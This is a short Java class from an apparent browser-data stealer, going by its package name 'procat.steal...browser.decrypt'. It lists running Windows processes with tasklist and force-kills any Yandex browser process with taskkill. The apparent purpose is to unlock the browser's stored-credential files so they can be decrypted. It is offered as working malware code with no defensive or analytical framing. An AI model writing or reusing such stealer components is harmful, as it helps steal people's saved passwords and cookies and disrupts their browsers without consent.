package procat.steal.nodes.impl.browser.decrypt;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Optional;

public class KillProcces {

    public static void main(String[] args) {
        proverkaOpenPZ("yandex");
        proverkaOpenPZ("Yandex");

    }

//-----------------------------------------------------------

    private static ArrayList listOpenProg() {

        ArrayList a = new ArrayList();
        try {
            String line;
            Process p = Runtime.getRuntime().exec
                    (System.getenv("windir") +"\\system32\\"+"tasklist.exe");
            BufferedReader input =
                    new BufferedReader(new InputStreamReader(p.getInputStream()));
            while ((line = input.readLine()) != null) {
                a.add(line); //<-- Parse data here.
            }
            input.close();
        } catch (Exception err) {
            err.printStackTrace();
        }
        return a;
    }

    public static void proverkaOpenPZ(String str) {
        ArrayList a = listOpenProg();
        for (int i = 0; i < a.size(); i++) {
            if (contains(String.valueOf(a.get(i)), str)) {
                killProces(str);
            }
        }
    }
    public static boolean contains(String str, String substr){
        return str.contains(substr);
    }

    public static void killProces(String name_prog) {
        try {
            Runtime.getRuntime().exec("taskkill /F /IM "+name_prog+".exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

//-----------------------------------------------------------

}
